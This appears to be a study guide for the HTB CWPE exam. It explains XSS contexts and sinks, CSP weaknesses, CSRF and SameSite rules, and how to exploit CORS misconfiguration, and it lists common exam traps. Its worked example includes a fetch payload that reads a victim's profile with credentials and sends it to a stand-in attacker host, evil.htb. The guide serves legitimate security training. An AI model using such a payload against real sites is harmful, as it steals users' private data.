HTB CWPE: Client-Side Attacks (XSS, CSRF, CORS Misconfiguration)

What this domain tests

Client-Side Attacks tests XSS, CSRF, and CORS misconfiguration in realistic browser contexts. The exam cares about execution context, victim interaction, and whether a finding crosses a trust boundary.

Core rules and concepts

• XSS context determines payload: HTML text, attribute, JavaScript string, URL, or DOM sink. innerHTML, eval, location, and postMessage handlers are high-value sinks.
• CSP must be read, not guessed. Look for unsafe-inline, JSONP endpoints, open redirects, and missing object-src/base-uri.
• CSRF requires a state-changing request with predictable parameters and missing or bypassable anti-CSRF defenses. SameSite=Lax blocks cross-site POSTs but not top-level GET navigation.
• CORS misconfiguration is exploitable when Access-Control-Allow-Origin reflects an attacker origin and Access-Control-Allow-Credentials: true. null origin and weak regex allowlists are common.
• Preflight rules matter: custom headers and JSON content types trigger OPTIONS.
• Test postMessage handlers for missing origin checks and dangerous eval or navigation sinks.

Worked example

/api/profile returns Access-Control-Allow-Origin: https://evil.htb and Access-Control-Allow-Credentials: true when sent Origin: https://evil.htb. You host a page that runs fetch('https://target.htb/api/profile',{credentials:'include'}).then(r=>r.text()).then(t=>fetch('https://evil.htb/?d='+btoa(t))). The reasoning is that the browser sends the victim's cookies and the permissive ACAO lets the attacker read the response. A reflected origin alone is not enough; credentials and readable data are required.

Traps that cost marks

• Claiming XSS from a payload that is HTML-encoded in the response.
• Ignoring HttpOnly when the goal is session theft versus action forgery.
• Testing CORS without Origin or without credentials.
• Forgetting that a CSRF PoC must be auto-submitting and same-site cookie rules may block it.